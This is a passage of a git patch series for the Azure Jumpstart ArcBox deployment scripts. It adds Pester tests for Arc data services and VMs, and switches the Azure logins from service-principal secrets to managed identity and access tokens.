+$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + # Deploy App & "$Env:ArcBoxDir\DataOpsAppScript.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 index f672cf54db..bf0fb48323 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -12,7 +12,7 @@ switch ($env:flavor) { $tests_failed = $tests_failed + $tests_devops.Failed.Count } 'DataOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops $tests_passed = $tests_passed + $tests_dataops.Passed.Count $tests_failed = $tests_failed + $tests_dataops.Failed.Count } diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 9a8969141a..74edfdd8ef 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -6,6 +6,7 @@ BeforeDiscovery { $aksdrArcClusterName = $env:aksdrArcClusterName $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) + $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") @@ -27,4 +28,35 @@ Describe "" -ForEach $clusters { $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId $connectedCluster.ConnectivityStatus | Should -Be "Connected" } -} \ No newline at end of file +} + +Describe "" -ForEach $customLocations { + BeforeAll { + $customLocation = $_ + } + It "Custom Location exists" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject | Should -Not -BeNullOrEmpty + } + It "Custom Location is connected" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject.ProvisioningState | Should -Be "Succeeded" + } +} + +<# +Describe "" -ForEach $dataController { + BeforeAll { + $dataController = $_ + } + It "Data Controller exists" { + az arcdata dc list --resource-group sb-arcbox --query "[].{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $dataControllerObject | Should -Not -BeNullOrEmpty + } + It "Data Controller is connected" { + $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $dataControllerObject.ProvisioningState | Should -Be "Succeeded" + } +} +#> \ No newline at end of file From d93f676e535c041b8a7bd9e65c3ca605461cf886 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 14:12:20 +0200 Subject: [PATCH 104/456] Updated SQL instance names and added tests for SQL Managed Instances --- .../artifacts/tests/dataops.tests.ps1 | 29 +++++++++++++------ 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 74edfdd8ef..3ac9686994 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -8,7 +8,7 @@ BeforeDiscovery { $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") - $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) @@ -44,19 +44,30 @@ Describe "" -ForEach $customLocations { } } -<# -Describe "" -ForEach $dataController { +Describe "" -ForEach $dataControllers { BeforeAll { $dataController = $_ } It "Data Controller exists" { - az arcdata dc list --resource-group sb-arcbox --query "[].{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $dataControllerObject | Should -Not -BeNullOrEmpty + $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject.Name | Should -Not -BeNullOrEmpty } It "Data Controller is connected" { - $dataControllerObject = Get-AzDataController -Name $dataController -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId - $dataControllerObject.ProvisioningState | Should -Be "Succeeded" + $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" + $dataControllerObject.State | Should -Be "Ready" } } -#> \ No newline at end of file + +Describe "" -ForEach $sqlMiInstances { + BeforeAll { + $sqlMiInstance = $_ + } + It "SQL Managed Instance exists" { + $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" + $sqlMiInstanceObject.Name | Should -Not -BeNullOrEmpty + } + It "SQL Managed Instance is connected" { + $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" + $sqlMiInstanceObject.State | Should -Be "Ready" + } +} \ No newline at end of file From c0a0574ef6bcb723c80a55c103da61c81d3a703f Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 16:57:08 +0200 Subject: [PATCH 105/456] Add OpenSSL to path environment variable and update tests --- .../artifacts/DataOpsAppScript.ps1 | 6 ++++ .../artifacts/DataOpsLogonScript.ps1 | 7 +--- .../artifacts/tests/dataops.tests.ps1 | 36 +++++++++++++------ 3 files changed, 33 insertions(+), 16 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index dbfa3c8cdf..1c59504efa 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -10,6 +10,12 @@ $sqlInstance = "capi" Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppScript.log +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + Write-Host "Generating a TLS Certificate" $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 456b6a3da5..f590e78197 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -2,6 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $clusters = @( [pscustomobject]@{clusterName = $Env:capiArcDataClusterName; dataController = "$Env:capiArcDataClusterName-dc" ; customLocation = "$Env:capiArcDataClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'capi' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-capi" } @@ -274,12 +275,6 @@ foreach($cluster in $clusters){ Write-Header "Deploying App" -# Add OpenSSL to path environment variable -$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) -$newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) - # Deploy App & "$Env:ArcBoxDir\DataOpsAppScript.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 3ac9686994..8a817c0c39 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -9,11 +9,13 @@ BeforeDiscovery { $customLocations = @("${capiArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + $drPartners = @("capi-sql", "aks-dr-sql") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + az config set extension.use_dynamic_install=yes_without_prompt } Describe "" -ForEach $clusters { @@ -49,25 +51,39 @@ Describe "" -ForEach $dataControllers { $dataController = $_ } It "Data Controller exists" { - $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject.Name | Should -Not -BeNullOrEmpty + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty } It "Data Controller is connected" { - $dataControllerObject = az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}" - $dataControllerObject.State | Should -Be "Ready" + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).State | Should -Be "Ready" } } -Describe "" -ForEach $sqlMiInstances { +Describe "" -ForEach $sqlMiInstances { BeforeAll { - $sqlMiInstance = $_ + $sqlInstance = $_ } It "SQL Managed Instance exists" { - $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" - $sqlMiInstanceObject.Name | Should -Not -BeNullOrEmpty + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty } It "SQL Managed Instance is connected" { - $sqlMiInstanceObject = az sql mi-arc show --resource-group $env:resourceGroup --name $sqlMiInstance --query "{name:name,state:properties.status}" - $sqlMiInstanceObject.State | Should -Be "Ready" + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).State | Should -Be "Ready" + } +} + +Describe "" -ForEach $drPartners{ + BeforeAll { + $drPartner = $_ + } + It "DR configuration exists" { + $drConfig = $(az sql instance-failover-group-arc list --resource-group $env:resourceGroup --mi $drPartner) + $drConfig | Should -Not -Be "Found 0 failover group(s)." + } + It "DR configuration is healthy" { + $drConfig = $(az sql mi-arc show --resource-group $env:resourceGroup --name $drPartner --query "{name:name,state:properties.k8SRaw.status.highAvailability.healthState}") + ($drConfig| ConvertFrom-Json).state | Should -Be "Ok" } } \ No newline at end of file From c20be12a75d96554788f4392f31b5001987d0b10 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 30 Jan 2024 17:03:54 +0200 Subject: [PATCH 106/456] Update OpenSSL path in DataOpsAppScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index 1c59504efa..6fb859b40f 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -12,9 +12,9 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppScript.log # Add OpenSSL to path environment variable $openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Process) $newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Process) Write-Host "Generating a TLS Certificate" $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" From c63454d4750716d6b978f2fe7d77fb3b05f8b165 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 31 Jan 2024 11:08:29 +0200 Subject: [PATCH 107/456] Add tests for VM and Azure Arc Connected Machine --- .../artifacts/tests/dataops.tests.ps1 | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index 8a817c0c39..be45c771bf 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -10,6 +10,7 @@ BeforeDiscovery { $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") $sqlMiInstances = @("capi-sql", "aks-sql", "aks-dr-sql") $drPartners = @("capi-sql", "aks-dr-sql") + $VMs = @("ArcBox-SQL") $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) @@ -86,4 +87,26 @@ Describe "" -ForEach $drPartners{ $drConfig = $(az sql mi-arc show --resource-group $env:resourceGroup --name $drPartner --query "{name:name,state:properties.k8SRaw.status.highAvailability.healthState}") ($drConfig| ConvertFrom-Json).state | Should -Be "Ok" } +} + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } } \ No newline at end of file From 1d005784579a873900d1f102dca7740b4e8f120b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Mar 2024 08:37:15 +0100 Subject: [PATCH 108/456] Refactored Azure CLI/PS login process to use Managed Identity and SQL VM onboarding to leverage access token. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 ++-- .../artifacts/installArcAgent.ps1 | 12 ++- .../artifacts/installArcAgentSQLSP.ps1 | 79 ------------------- .../artifacts/installArcAgentSQLUser.ps1 | 74 ----------------- 4 files changed, 10 insertions(+), 170 deletions(-) delete mode 100644 azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 delete mode 100644 azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 31b8cb123f..4aed5eb96d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -7,8 +7,6 @@ $agentScript = "$Env:ArcBoxDir\agentScript" # Set variables to execute remote powershell scripts on guest VMs $nestedVMArcBoxDir = $Env:ArcBoxDir -$spnClientId = $env:spnClientId -$spnClientSecret = $env:spnClientSecret $spnTenantId = $env:spnTenantId $subscriptionId = $env:subscriptionId $azureLocation = $env:azureLocation @@ -135,13 +133,11 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" - az login --service-principal --username $spnClientId --password=$spnClientSecret --tenant $spnTenantId + az login --identity --tenant $spnTenantId az account set -s $env:subscriptionId Write-Header "Az PowerShell Login" - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -211,7 +207,8 @@ if ($Env:flavor -ne "DevOps") { # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgentSQL.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + $accessToken = (Get-AzAccessToken).Token + Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds # Install Log Analytics extension to support Defender for SQL $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json @@ -419,10 +416,8 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 index 4f70a0d67c..62cd7db877 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 +++ b/azure_jumpstart_arcbox/artifacts/installArcAgent.ps1 @@ -1,7 +1,6 @@ # Download the package param ( - [string]$spnClientId, - [string]$spnClientSecret, + [string]$accessToken, [string]$spnTenantId, [string]$subscriptionId, [string]$resourceGroup, @@ -10,18 +9,17 @@ function download() {$ProgressPreference="SilentlyContinue"; Invoke-WebRequest -Uri https://aka.ms/AzureConnectedMachineAgent -OutFile AzureConnectedMachineAgent.msi} download - + # Install the package $exitCode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureConnectedMachineAgent.msi" ,"/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode if($exitCode -ne 0) { $message=(net helpmsg $exitCode) throw "Installation failed: $message See installationlog.txt for additional details." } - + # Run connect command & "$Env:ProgramW6432\AzureConnectedMachineAgent\azcmagent.exe" connect ` - --service-principal-id $spnClientId ` - --service-principal-secret $spnClientSecret ` + --access-token $accessToken ` --resource-group $resourceGroup ` --tenant-id $spnTenantId ` --location $Azurelocation ` @@ -29,5 +27,5 @@ --cloud "AzureCloud" ` --tags "Project=jumpstart_arcbox" ` --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" # Do no change! - + if($LastExitCode -eq 0){Write-Host -ForegroundColor yellow "To view your onboarded server(s), navigate to https://ms.portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.HybridCompute%2Fmachines"} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 deleted file mode 100644 index b904e9ea6d..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLSP.ps1 +++ /dev/null @@ -1,79 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId, - [string]$subscriptionId, - [string]$resourceGroup, - [string]$Azurelocation -) - -$ArcBoxDir = "C:\ArcBox" -$ArcBoxLogsDir = "$ArcBoxDir\Logs" - -# Change working directory -Set-Location -Path $ArcBoxDir - -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $spnClientId -And $spnTenantId -And $spnClientSecret - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 b/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 deleted file mode 100644 index 073879cf68..0000000000 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentSQLUser.ps1 +++ /dev/null @@ -1,74 +0,0 @@ -param ( - [string]$spnClientId, - [string]$spnClientSecret, - [string]$spnTenantId = $env:spnTenantId, - [string]$subscriptionId = $env:subscriptionId, - [string]$resourceGroup = $env:resourceGroup, - [string]$Azurelocation = $env:azureLocation -) - -$ArcBoxLogsDir = "C:\ArcBox\Logs" -Start-Transcript -Path $ArcBoxLogsDir\installArcAgentSQL.log -$ErrorActionPreference = 'SilentlyContinue' - -# These settings will be replaced by the portal when the script is generated -$resourceTags= "Project=jumpstart_arcbox" -$licenseType = "Paid" -$currentDir = Get-Location -$unattended = $false - -# These optional variables can be replaced with valid service principal details -# if you would like to use this script for a registration at scale scenario, i.e. run it on multiple machines remotely -# For more information, see https://learn.microsoft.com/sql/sql-server/azure-arc/connect-at-scale -# -# For security purposes, passwords should be stored in encrypted files as secure strings -# -[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 - -try { - Write-Host "Downloading AzureExtensionForSQLServer.msi" - Invoke-WebRequest -Uri https://aka.ms/AzureExtensionForSQLServer -OutFile AzureExtensionForSQLServer.msi - Write-Host "Download complete" -} -catch { - Write-Host "Downloading AzureExtensionForSQLServer.msi failed." - throw "Invoke-WebRequest failed: $_" -} - -try { - Write-Host "Installing AzureExtensionForSQLServer.msi" - $exitcode = (Start-Process -FilePath msiexec.exe -ArgumentList @("/i", "AzureExtensionForSQLServer.msi","/l*v", "installationlog.txt", "/qn") -Wait -Passthru).ExitCode - - if ($exitcode -ne 0) { - $message = "Installation failed: Please see $currentDir\installationlog.txt file for more information." - Write-Host -ForegroundColor red $message - return - } - - Write-Host "Installing AzureExtensionForSQLServer.msi successful." - - if ($unattended) { - Write-Host "Registering Arc-enabled SQL server using unattended method with AzureExtensionForSQLServer.exe." - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --service-principal-app-id $spnClientId --service-principal-secret $spnClientSecret --licenseType $licenseType --tags $resourceTags - } else { - Write-Host "Registering Arc-enabled SQL server using interactive login with AzureExtensionForSQLServer.exe" - & "$env:ProgramW6432\AzureExtensionForSQLServer\AzureExtensionForSQLServer.exe" --subId $subscriptionId --resourceGroup $resourceGroup --location $Azurelocation --tenantid $spnTenantId --licenseType $licenseType --tags $resourceTags - } - - if($LASTEXITCODE -eq 0){ - Write-Host -ForegroundColor green "Azure extension for SQL Server is successfully installed. If one or more SQL Server instances are up and running on the server, Arc-enabled SQL Server instance resource(s) will be visible within a minute on the portal. Newly installed instances or instances started now will show within an hour." - } - else{ - $message = "Failed to install Azure extension for SQL Server. Please see $currentDir\AzureExtensionForSQLServerInstallation.log file for more information." - Write-Host -ForegroundColor red $message - } -} -catch { - Write-Host -ForegroundColor red $_.Exception - throw -} - -Write-Host "SQL Server - Azure Arc resources should show up in resource group in less than 1 minute." -Write-Host "Arc-enabled SQL server deployment complete." - -Stop-Transcript \ No newline at end of file From 9f5d2091b606a30cb0b84c20a6c86850d867722c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:10:40 +0200 Subject: [PATCH 109/456] Add system-assigned identity to client VM and assign roles Signed-off-by: Jan Egil Ring --- .../bicep/clientVm/clientVm.bicep | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 427a5478de..c6c4c441cf 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep 